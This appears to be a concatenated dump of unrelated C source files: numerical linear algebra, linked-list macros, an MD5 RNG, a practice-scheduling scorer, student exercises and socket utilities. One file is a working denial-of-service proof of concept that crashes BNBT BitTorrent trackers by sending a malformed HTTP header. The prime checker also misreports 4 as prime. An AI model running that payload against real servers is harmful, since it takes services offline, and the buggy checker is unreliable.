#include "update_projection_d.h"
#include "numerical_d.h"
/*******************************************************************************
* Subroutine update_projection - This routine assumes Z is a hermitian matrix
* whose columns will be updated with blockSize vectors. Even though space
* for the entire Z is allocated, only the upper triangular portion is
* stored.
*
* INPUT ARRAYS AND PARAMETERS
* ---------------------------
* X Some nLocal x numCols matrix
* Y Some nLocal x numCols matrix
* numCols Number of rows and columns in Z
* maxCols Maximum (leading) dimension of Z
* blockSize Number of rows and columns to be added to Z
*
* INPUT/OUTPUT ARRAYS
* -------------------
* Z X'*Y where Y is some nLocal x numCols matrix.
* rwork Must be at least maxCols*blockSize in length
******************************************************************************/
void update_projection_dprimme(double *X, double *Y, double *Z,
int numCols, int maxCols, int blockSize, double *rwork,
primme_params *primme) {
int j; /* Loop variable */
int count;
double tpone = +1.0e+00, tzero = +0.0e+00;
/* --------------------------------------------------------------------- */
/* Zero the work array to prevent floating point traps during all-reduce */
/* --------------------------------------------------------------------- */
for (j = 0; j < maxCols*blockSize; j++) {
rwork[j] = tzero;
}
/* --------------------------------------------------------------------- */
/* Grow Z by blockSize number of rows and columns */
/* Compute the first numCols rows of the new blockSize columns */
/* --------------------------------------------------------------------- */
Num_gemm_dprimme("C", "N", numCols, blockSize, primme->nLocal, tpone,
X, primme->nLocal, &Y[primme->nLocal*numCols], primme->nLocal,
tzero, rwork, maxCols);
/* -------------------------------------------------------------- */
/* Compute next the additional rows of each new column vector. */
/* Only the upper triangular portion is computed and stored. */
/* -------------------------------------------------------------- */
for (j = numCols; j < numCols+blockSize; j++) {
Num_gemv_dprimme("C", primme->nLocal, j-numCols+1, tpone,
&X[primme->nLocal*numCols], primme->nLocal, &Y[primme->nLocal*j], 1,
tzero, &rwork[maxCols*(j-numCols)+numCols], 1);
}
count = maxCols*blockSize;
(*primme->globalSumDouble)(rwork, &Z[maxCols*numCols], &count, primme);
}
|
C
|
#include "../CCEL_MONAD.h"
#define list_typeof(type)\
typedef struct node_##type Node_##type;\
typedef struct list_##type List_##type;\
struct node_##type {\
type data;\
struct node_##type * next;\
};\
struct list_##type {\
Node_##type * head; \
};\
Node_##type * createnode_##type(type data);\
Node_##type * createnode_##type(type data){\
Node_##type * newNode_##type = malloc(sizeof(Node_##type));\
if (!newNode_##type) {\
return NULL;\
}\
newNode_##type->data = data;\
newNode_##type->next = NULL;\
return newNode_##type;\
}\
List_##type * list_empty_##type(){\
List_##type * list_##type = malloc(sizeof(List_##type));\
if (!list_##type) {\
return NULL;\
}\
list_##type->head = NULL;\
return list_##type;\
}\
void list_append_##type( List_##type * list_##type,type data){\
Node_##type * current = NULL;\
if(list_##type->head == NULL){\
list_##type->head = createnode_##type(data);\
}\
else {\
current = list_##type->head; \
while (current->next!=NULL){\
current = current->next;\
}\
current->next = createnode_##type(data);\
}\
}\
#define list_isfreeable(type)\
void list_free_##type(List_##type * list_##type){\
Node_##type * current = list_##type->head;\
Node_##type * next = current;\
while(current != NULL){\
next = current->next;\
free(current);\
current = next;\
}\
free(list_##type);\
}
#define list_isreverseable(type)\
void list_reverse_##type(List_##type * list_##type){\
Node_##type * reversed = NULL;\
Node_##type * current = list_##type->head;\
Node_##type * temp = NULL;\
while(current != NULL){\
temp = current;\
current = current->next;\
temp->next = reversed;\
reversed = temp;\
}\
list_##type->head = reversed;\
}
#define list_isshowable(type,fmt)\
void list_show_##type(List_##type * list_##type) {\
Node_##type * current = list_##type->head;\
if(list_##type->head == NULL) \
return;\
for(; current != NULL; current = current->next) {\
printf(fmt, current->data);\
}\
}
#define list_isremoveable(type)\
void list_remove_##type( List_##type * list_##type,type data){\
Node_##type * current = list_##type->head;\
Node_##type * previous = current;\
while(current != NULL){\
if(current->data == data){\
previous->next = current->next;\
if(current == list_##type->head)\
list_##type->head = current->next;\
free(current);\
return;\
}\
previous = current;\
current = current->next;\
}\
}
|
C
|
/* Code for problem 2 (pg 205) */
/* Compiling as "gcc -o coin2 coin2.c", what error might you expect? */
#define HEADS 0
#include "some_library.h"
char * Flip_A_Coin(int x)
{
if (x%2 == HEADS)
return("heads");
else
return("tails");
}
main()
{
printf("%s\n",Flip_A_Coin(1));
}
|
C
|
//
// setting.c
// practice_member
//
// Created by 長澤達也 on 2019/11/16.
// Copyright © 2019 長澤達也. All rights reserved.
//
#include "setting.h"
//*******ここから:scoringのパラメータ設定********
court_rank set_court_rank(void){
//各面内のランク差による評価.ランクの最大値-最小値が小さいほど高評価.
//比率を大きくするとランク差が小さい組み分けが出やすくなる.
//計算式はcourt_score.c参照.
court_rank c_rank;
NEW(c_rank,1);
c_rank->accept_number = 5; //最大加点を与えるランク範囲n1
c_rank->add_point = 600; //ランク差が規定内の時の最大加点max
c_rank->deduce_point = -1000; //ランク差がより大きい時の減点比率d2
c_rank->limit_number = 10; //減点比率の境界点n2
return c_rank;
}
court_sum set_court_sum(void){
//各練習の人数による評価.面わけ不能時の点数はマイナスに振り切った点数.4人面が多いと高評価
//3人面の減点比率が大きいと,4人面が多い組み分けが出やすくなる
court_sum c_sum;
NEW(c_sum,1);
c_sum->impossible = -10000; //面分け不能時の減点係数
c_sum->three = 0; //3人面での加減点
c_sum->four = 500; //4人面での加点
return c_sum;
}
court_year set_court_year(void){
//各練習の学年による評価.
//各面で同学年のみだと低評価。特に最低学年のみの時は大幅減点
//4面全体の中に最高学年がいないと減点
court_year c_year;
NEW(c_year,1);
c_year->same_grade = -200; //全員同じ学年の練習での減点
c_year->first_grade = -5000; //最低学年のみの練習での追加減点
c_year->final_grade = -300; //全体で最高学年不在時の減点
return c_year;
}
personal_interval set_personal_interval(void){
//各人の練習間隔による評価.
//同日の練習や夜->朝は振り切った減点.
//連日の練習も多少減点.重要度は低い
//朝練連続or夜練連続で減点.重要度は低い
personal_interval p_interval;
NEW(p_interval,1);
p_interval->same_day = -10000; //同一日の練習による減点
p_interval->night_to_morning = -5000; //連続夜->朝での減点
p_interval->row_day = -100; //連日の練習による減点(夜->朝を除く)
p_interval->two_morning = 0; //2回朝練
p_interval->two_noon = 0; //2回昼練
p_interval->two_night = 0; //2回夜練
p_interval->mon_morning = -50; //月朝練習による追加減点
p_interval->fri_night = -50; //金夜練習による追加減点
return p_interval;
}
personal_equality set_personal_equality(void){
//各人が上の人とできるかによる評価.
//比率を大きくすると,下の人としか練習できない人が減る.
personal_equality p_equal;
NEW(p_equal,1);
p_equal->not_consider = 1; //考慮しない最大ランク
p_equal->up_rank = 5; //ボーナスが入るランク差
p_equal->up_point = 100; //up_rank以上上とできるときのボーナス
p_equal->down_point = -300; //上の人とできない場合の減点
return p_equal;
}
personal_short_prac set_personal_short_prac(void){
//各人が2限抜けをするかによる評価.
//比率を大きくすると,2限抜けの日程には入りづらくなる
personal_short_prac p_short;
NEW(p_short,1);
p_short->single_short = -100; //1回二限抜けする場合
p_short->double_short = -300; //2回以上二限抜けする場合の減点比率
return p_short;
}
//*******ここまで:scoringのパラメータ設定********
score_data set_score(void);
void separate_list(info f,personal* plist);
int** make_daylist(int people,personal* plist);
char** make_namelist(int people,personal* plist);
int print_info(info f);
info info_build(int people,personal* plist){
//初期値や入力データを保持するinfoの設定
//f->count_pracは未使用
int i,j,p,c,cf;p=0;
int min_year,max_year;min_year=100;max_year=0;
info f;
NEW(f,1);
f->people = people;
separate_list(f,plist);
f->name = make_namelist(people,plist);
f->score_data = set_score();
NEW(f->count_prac,f->people);
NEW(f->count_can,f->people);
NEW(f->count_fix,f->people);
NEW(f->year,f->people);
NEW(f->rank,f->people);
for(i=0;i<f->people;i++){
c = 0;
cf= 0;
for(j=0;j<DAY;j++){
if(f->list[i][j] == 1)c++;
if(f->list[i][j] == -1)cf++;
}
if(c+cf>1){
f->count_prac[i] = 2; //今後3回練にも対応予定.
}else{
f->count_prac[i] = c+cf; //可能練習回数が1回以下の場合
}
f->count_can[i] = c;
f->count_fix[i] = cf;
while(plist[p]==NULL)p++;
f->year[i] = plist[p]->year;
if(f->year[i] < min_year)min_year = f->year[i];
if(f->year[i] > max_year)max_year = f->year[i];
f->rank[i] = plist[p]->rank;
p++;
}
f->min_year = min_year;
f->max_year = max_year;
//print_info(f); //test用出力
return f;
}
score_data set_score(void){
score_data data;
NEW(data,1);
data->c_rank = set_court_rank();
data->c_sum = set_court_sum();
data->c_year = set_court_year();
data->p_inter = set_personal_interval();
data->p_equ = set_personal_equality();
data->p_short = set_personal_short_prac();
return data;
}
void separate_list(info f,personal* plist){
//入力データを分解してinfoに格納する
//f->listは練習に入れない/入れる/固定で入るの3通り
//f->short_listは練習に入るが2限抜けの時.
int i,j,p;p=0;
NEW(f->list,f->people);NEW(f->short_list,f->people);
for(i=0;i<f->people;i++){
while(plist[p]==NULL){
p++; //ランクの飛びを考慮
}
NEW(f->list[i],DAY);NEW(f->short_list[i],DAY);
for(j=0;j<DAY;j++){
switch (plist[p]->list[j]) {
case 0://練習に入れない
f->list[i][j] = 0;
f->short_list[i][j] = 0;
break;
case 1://練習に入れる
f->list[i][j] = 1;
f->short_list[i][j] = 0;
break;
case 2://練習に入れるが2限抜け
f->list[i][j] = 1;
f->short_list[i][j] = 1;
break;
case -1://固定で入る練習
f->list[i][j] = -1;
f->short_list[i][j] = 0;
break;
default://エラーは練習に入れない扱いで処理
printf("error in separate_list.\n");
printf(" 想定されない値がlistにあります.入力データを確認してください.\n");
f->list[i][j] = 0;
f->short_list[i][j] = 0;
break;
}
}
p++;
}
}
char** make_namelist(int people,personal* plist){
//名前情報をplistからinfoへ値渡し
char** list;
int i,p;
NEW(list,people);
i=0;p=0;
while(i<people){
if(plist[p]!=NULL){
NEW(list[i],N)
strcpy(list[i],plist[p]->name);
i++;
}
p++;
}
return list;
}
int list_max(int* a,int n){
//最大値をあたえる要素番号を返す.n:要素数
int ans = 0;
int i;
for(i=1;i<n;i++){
if(a[ans]<a[i])ans = i;
}
return ans;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
int main(int argc, char**argv)
{
FILE* fps;
FILE* fpd;
if(argc < 3)
{
fprintf(stderr, "Usage: %s <sourceFile> <DestFile>\n", argv[0]);
exit(1);
}
fps= fopen(argv[1], "r");
if(fps == NULL)
{
perror("fopen():");
fprintf(stderr, "fopen() failes:%s\n", strerror(errno));
exit(1);
}
fpd = fopen(argv[2], "w");
if(fpd == NULL)
{
perror("fopen():");
fprintf(stderr, "fopen() failes:%s\n", strerror(errno));
fclose(fps);
exit(1);
}
char buf[1024];
int cnt;
while((cnt = fread(buf, 1, 1024, fps)) > 0)
fwrite(buf, 1, cnt, fpd);
fclose(fpd);
fclose(fps);
exit(0);
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_itoa_base_ulong.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: sjimenez <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/12/07 20:01:13 by sjimenez #+# #+# */
/* Updated: 2017/12/07 20:11:24 by sjimenez ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
static size_t ft_itoa_n_len(unsigned long n, unsigned int base)
{
size_t len;
len = 0;
if (n == 0)
return (1);
while (n >= base)
{
n /= base;
len++;
}
len++;
return (len);
}
char *ft_itoa_base_ulong(unsigned long n, unsigned int base)
{
char *s;
size_t i;
unsigned long nb;
size_t len;
char *char_base;
i = 0;
nb = n;
char_base = "0123456789ABCDEF";
len = ft_itoa_n_len(n, base);
if (!(s = ft_memalloc(len + 1)))
return (NULL);
while (nb >= base)
{
s[i++] = char_base[nb % base];
nb /= base;
}
s[i++] = char_base[nb];
return (ft_strrev(s));
}
|
C
|
#include<stdio.h>
#include<conio.h>
main()
{
int n;
void fib(int);
printf("\nEnter No. Of Terms :");
scanf("%d",&n);
fib(n);
getch();
}
void fib(int n)
{
int a=-1,b=1,s=0,i=1;
while(i<=n)
{ s=a+b;
printf("%d\t",s);
a=b;
b=s;
i++;
}
}
|
C
|
/* MD5.c : Defines the entry point for the console application.*/
/*
* After becoming frustrated with the lack of a standalone, portable,
* decent random number generator, I decided to make one based on a
* cryptographic one-way hash function. I chose MD5 since it is fast
* and free source was readily available. More cryptographically
* secure hash functions are available (e.g. SHA-1), but for the
* purposes of a rand/random/erand48 replacement, MD5 should be more
* than sufficient.
*
* MD5 takes an arbitrary amount of input and yields a 16 byte hash.
* This RNG continually MD5's a 16 byte digest, and uses the bottom N
* bits as the random number yielded, where N is just large enough to
* include the largest random number desired.
*
* To yield a random number between 0 and r:
*
* create mask which has enough bits to include all of r
* (for example, if r is 100, mask would be 0x7F)
*
* do {
* digest = MD5(digest)
* number = digest & mask
* } while (number > r)
*
* The digest should be loaded and saved to a disk file between
* invocations of a program using the RNG.
*
* Random functions appear after the included MD5 code.
*
* Send comments to: skrenta@pbm.com (Rich Skrenta)
*/
/*****************************************************************/
/*
* This code implements the MD5 message-digest algorithm.
* The algorithm is due to Ron Rivest. This code was
* written by Colin Plumb in 1993, no copyright is claimed.
* This code is in the public domain; do with it what you wish.
*
* Equivalent code is available from RSA Data Security, Inc.
* This code has been tested against that, and is equivalent,
* except that you don't need to include two pages of legalese
* with every copy.
*
* To compute the message digest of a chunk of bytes, declare an
* MD5Context structure, pass it to MD5Init, call MD5Update as
* needed on buffers full of bytes, and then call MD5Final, which
* will fill a supplied 16-byte array with the digest.
*/
#include <stdio.h>
#include <stdlib.h>
#include "md5.h"
/*
* Shuffle the bytes into little-endian order within words, as per the
* MD5 spec. Note: this code works regardless of the byte order.
*/
void byteSwap(word32 *buf, unsigned words)
{
byte *p = (byte *)buf;
do {
*buf++ = (word32)((unsigned)p[3] << 8 | p[2]) << 16 |
((unsigned)p[1] << 8 | p[0]);
p += 4;
} while (--words);
}
void bcopy(byte *src, byte *des, int len)
{
int j;
for(j=0;j<len;j++) des[j]=src[j];
}
void bzero(byte *p,int len)
{
int j;
for(j=0;j<len;j++) p[j]=0;
}
/*
* Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
* initialization constants.
*/
void xMD5Init(struct xMD5Context *ctx)
{
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;
ctx->bytes[0] = 0;
ctx->bytes[1] = 0;
}
/*
* Update context to reflect the concatenation of another buffer full
* of bytes.
*/
void xMD5Update(struct xMD5Context *ctx, byte const *buf, int len)
{
word32 t;
/* Update byte count */
t = ctx->bytes[0];
if ((ctx->bytes[0] = t + len) < t)
ctx->bytes[1]++; /* Carry from low to high */
t = 64 - (t & 0x3f); /* Space available in ctx->in (at least 1) */
if ((unsigned)t >(unsigned)len) {
bcopy((byte *)buf, (byte *)ctx->in + 64 - (unsigned)t, len);
return;
}
/* First chunk is an odd size */
bcopy((byte *)buf,(byte *)ctx->in + 64 - (unsigned)t, (unsigned)t);
byteSwap(ctx->in, 16);
xMD5Transform(ctx->buf, ctx->in);
buf += (unsigned)t;
len -= (unsigned)t;
/* Process data in 64-byte chunks */
while (len >= 64) {
bcopy((byte *)buf, (byte *)ctx->in, 64);
byteSwap(ctx->in, 16);
xMD5Transform(ctx->buf, ctx->in);
buf += 64;
len -= 64;
}
/* Handle any remaining bytes of data. */
bcopy((byte *)buf, (byte *)ctx->in, len);
}
/*
* Final wrapup - pad to 64-byte boundary with the bit pattern
* 1 0* (64-bit count of bits processed, MSB-first)
*/
void xMD5Final(byte digest[16], struct xMD5Context *ctx)
{
int count = (int)(ctx->bytes[0] & 0x3f); /* Bytes in ctx->in */
byte *p = (byte *)ctx->in + count; /* First unused byte */
/* Set the first char of padding to 0x80. There is always room. */
*p++ = 0x80;
/* Bytes of padding needed to make 56 bytes (-8..55) */
count = 56 - 1 - count;
if (count < 0) { /* Padding forces an extra block */
bzero(p, count+8);
byteSwap(ctx->in, 16);
xMD5Transform(ctx->buf, ctx->in);
p = (byte *)ctx->in;
count = 56;
}
bzero(p, count+8);
byteSwap(ctx->in, 14);
/* Append length in bits and transform */
ctx->in[14] = ctx->bytes[0] << 3;
ctx->in[15] = ctx->bytes[1] << 3 | ctx->bytes[0] >> 29;
xMD5Transform(ctx->buf, ctx->in);
byteSwap(ctx->buf, 4);
bcopy((byte *)ctx->buf, (byte *)digest, 16);
bzero((byte *)ctx,sizeof(ctx));
}
/*
* The core of the MD5 algorithm, this alters an existing MD5 hash to
* reflect the addition of 16 longwords of new data. MD5Update blocks
* the data and converts bytes into longwords for this routine.
*/
void xMD5Transform(word32 buf[4], word32 const in[16])
{
register word32 a, b, c, d;
a = buf[0];
b = buf[1];
c = buf[2];
d = buf[3];
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}
void MD5(void *dest, void *orig, int len)
{
struct xMD5Context context;
xMD5Init(&context);
xMD5Update(&context,(byte*)orig, len);
xMD5Final((byte*)dest, &context);
}
#if 0
#define MD5_BUF_LEN 4096
static unsigned char md5_buf[MD5_BUF_LEN];
int main(int argc, char **argv)
{
size_t len;
int ret;
int i;
FILE *src_file = NULL;
byte dest[16];
struct xMD5Context context;
if (argc < 2) {
fprintf(stderr,
"Usage: %s file\n",
argv[0]);
goto EXIT;
}
if ((src_file = fopen(argv[1], "r")) == NULL) {
perror("open");
goto EXIT;
}
xMD5Init(&context);
while ((len = fread(md5_buf, 1, MD5_BUF_LEN, src_file))) {
xMD5Update(&context,(byte*)md5_buf, len);
}
xMD5Final((byte*)dest, &context);
printf("MD5 sum:\n");
for (i = 0; i < 16; i ++)
printf("%02x", dest[i]);
printf("\n");
ret = 0;
EXIT:
if (src_file)
fclose(src_file);
return ret;
}
#endif
|
C
|
/* BNBT BitTorrent EasyTracker Remote Denial Of Service
Versions:
Version 7.7r3.2004.10.27 and below
Vendors:
http://bnbt.go-dedicated.com/
http://bnbteasytracker.sourceforge.net/
http://sourceforge.net/projects/bnbtusermods/
Bug find and coded by:
Sowhat@@secway@org
http://secway.org
This PoC will Crash the server.
*/
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
char exploit[] =
"GET /index.htm HTTP/1.0\r\n:\r\n\r\n";
int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET mysocket;
if (argc < 2)
{
printf(" ######################################################################\r\n");
printf(" # BNBT BitTorrent EasyTracker DoS by sowhat <sowhat@@secway@org> #\r\n", argv[0]);
printf(" # This exploit will Crash the Server #\r\n");
printf(" # http://www.secway.org #\r\n");
printf(" ######################################################################\r\n");
printf(" Usage:\r\n %s <targetip> [targetport] (default is 6969) \r\n", argv[0]);
printf(" Example:\r\n");
printf(" %s 1.1.1.1\r\n",argv[0]);
printf(" %s 1.1.1.1 8888\r\n",argv[0]);
exit(1);
}
wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
target = argv[1];
port = 6969;
if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);
mysocket = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket==INVALID_SOCKET)
{
printf("Socket error!\r\n");
exit(1);
}
printf("Resolving Hostnames...\n");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("Resolve of %s failed\n", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);
printf("Connecting...\n");
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("Couldn't connect to host.\n");
exit(1);
}
printf("Connected!...\n");
printf("Sending Payload...\n");
if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
{
printf("Error Sending the Exploit Payload\r\n");
closesocket(mysocket);
exit(1);
}
printf("Payload has been sent! Check if the webserver is dead.\r\n");
closesocket(mysocket);
WSACleanup();
return 0;
}
// milw0rm.com [2005-09-06]
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
int num;
int divisor;
int isprime; //true if num is positive
printf("Enter a number:");
scanf("%d", &num);\
divisor = 2;
isprime = 1; // true
while(isprime && divisor*divisor < num){
//check if number is divisble by divisor
if(num % divisor == 0){
isprime = 0; //false
}
divisor = divisor + 1;
}
if (isprime){
printf("prime\n");
}else{
printf("Composite\n");
}
return 0;
}
|
C
|
/**
* @defgroup host host
* @{ @ingroup networking
*/
#ifndef __SOCKET_HOST_H__
#define __SOCKET_HOST_H__
typedef struct host_t host_t;
#include <utils/utils.h>
#ifndef _WIN32
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <utils/utils.h>
#else
typedef unsigned int socklen_t;
#include <WinSock2.h>
#include "utils.h"
#endif
/**
* Representates a Host
*
* Host object, identifies a address:port pair and defines some
* useful functions on it.
*/
struct host_t {
/**
* Build a clone of this host object.
*
* @return cloned host
*/
host_t *(*clone) (host_t *this);
/**
* Get a pointer to the internal sockaddr struct.
*
* This is used for sending and receiving via sockets.
*
* @return pointer to the internal sockaddr structure
*/
SOCKADDR *(*get_sockaddr) (host_t *this);
/**
* Get the length of the sockaddr struct.
*
* Depending on the family, the length of the sockaddr struct
* is different. Use this function to get the length of the sockaddr
* struct returned by get_sock_addr.
*
* This is used for sending and receiving via sockets.
*
* @return length of the sockaddr struct
*/
socklen_t *(*get_sockaddr_len) (host_t *this);
/**
* Gets the family of the address
*
* @return family
*/
int (*get_family) (host_t *this);
/**
* Checks if the ip address of host is set to default route.
*
* @return TRUE if host is 0.0.0.0 or 0::0, FALSE otherwise
*/
int (*is_anyaddr) (host_t *this);
/**
* Get the port of this host
*
* @return port number
*/
unsigned short (*get_port) (host_t *this);
/**
* Set the port of this host
*
* @param port port number
*/
void (*set_port) (host_t *this, unsigned short port);
/**
* Get the port of this host
*
* @return port number
*/
char* (*get_ip) (host_t *this, char **ip, int size);
/**
* Set the port of this host
*
* @param port port number
*/
void (*set_ip) (host_t *this, const char *ip);
/**
* Compare the ips of two hosts hosts.
*
* @param other the other to compare
* @return TRUE if addresses are equal.
*/
int (*ip_equals) (host_t *this, host_t *other);
/**
* Compare two hosts, with port.
*
* @param other the other to compare
* @return TRUE if addresses and ports are equal.
*/
int (*equals) (host_t *this, host_t *other);
/**
* Destroy this host object.
*/
void (*destroy) (host_t *this);
};
/**
* Constructor to create a host_t object from an address string.
*
* @param string string of an address, such as "152.96.193.130"
* @param port port number
* @return host_t, NULL if string not an address.
*/
host_t *host_create_from_string(char *string, unsigned short port);
/**
* Same as host_create_from_string(), but with the option to enforce a family.
*
* @param string string of an address
* @param family address family, or AF_UNSPEC
* @param port port number
* @return host_t, NULL if string not an address.
*/
host_t *host_create_from_string_and_family(char *string, int family, unsigned short port);
/**
* Constructor to create a host_t from a DNS name.
*
* @param string hostname to resolve
* @param family family to prefer, 0 for first match
* @param port port number
* @return host_t, NULL lookup failed
*/
host_t *host_create_from_dns(char *string, int family, unsigned short port);
/**
* Constructor to create a host_t object from a sockaddr struct
*
* @param sockaddr sockaddr struct which contains family, address and port
* @return host_t, NULL if family not supported
*/
host_t *host_create_from_sockaddr(struct sockaddr *sockaddr);
/**
* Create a host from a CIDR subnet definition (1.2.3.0/24), return bits.
*
* @param string string to parse
* @param bits gets the number of network bits in CIDR notation
* @return network start address, NULL on error
*/
host_t *host_create_from_subnet(char *string, int *bits);
/**
* Create a netmask host having the first netbits bits set.
*
* @param family family of the netmask host
* @param netbits number of leading bits set in the host
* @return netmask host
*/
host_t *host_create_netmask(int family, int netbits);
/**
* Create a host without an address, a "any" host.
*
* @param family family of the any host
* @return host_t, NULL if family not supported
*/
host_t *host_create_any(int family);
#endif /** HOST_H_ @}*/
|
C
|
//
// calcDragAndTorque.h
// DEMsd
//
// Created by Ryohei SETO on 12/03/20.
// Copyright (c) 2012 Ryohei Seto. All rights reserved.
//
#ifndef stodyn_calcDragAndTorque_h
#define stodyn_calcDragAndTorque_h
#include <fstream>
#include <iomanip>
#include <cstdlib>
#include "sdsystem.h"
void outputVector(ofstream &fout, vec3d &vec){
fout.setf( ios::scientific, ios::floatfield ); // set math types
int output_precision = 6;
int output_width = output_precision + 9;
fout.precision(output_precision); // set precision
fout << setw(output_width) << vec.x;
fout << setw(output_width) << vec.y;
fout << setw(output_width) << vec.z;
}
vec3d calcCenterOfMass(vector<vec3d> &pos_vec){
vec3d center_of_mass(0,0,0);
int np = (int)pos_vec.size();
for (int i=0; i < np; i ++){
center_of_mass += pos_vec[i];
}
center_of_mass *= 1.0/np;
return center_of_mass;
}
/* Import the configuration (x,y,z) of particles.
* The center of mass is set to (0,0,0)
* INPUT
* importfilename: File name
* skipline: Line number of the header
*/
void importCluster(char* cluster_file_, int skipline, vector <vec3d> &pos){
// sprintf( cluster_file, "%s", cluster_file_);
// string s_filename = cluster_file_;
//int i_backslash = s_filename.find_last_of( "/") + 1;
// int i_extention = s_filename.find( ".dat" );
// sprintf(cluster_file, "%s",
// (s_filename.substr(i_backslash,i_extention-i_backslash)).c_str());
ifstream fin;
fin.open( cluster_file_ );
double x, y, z;
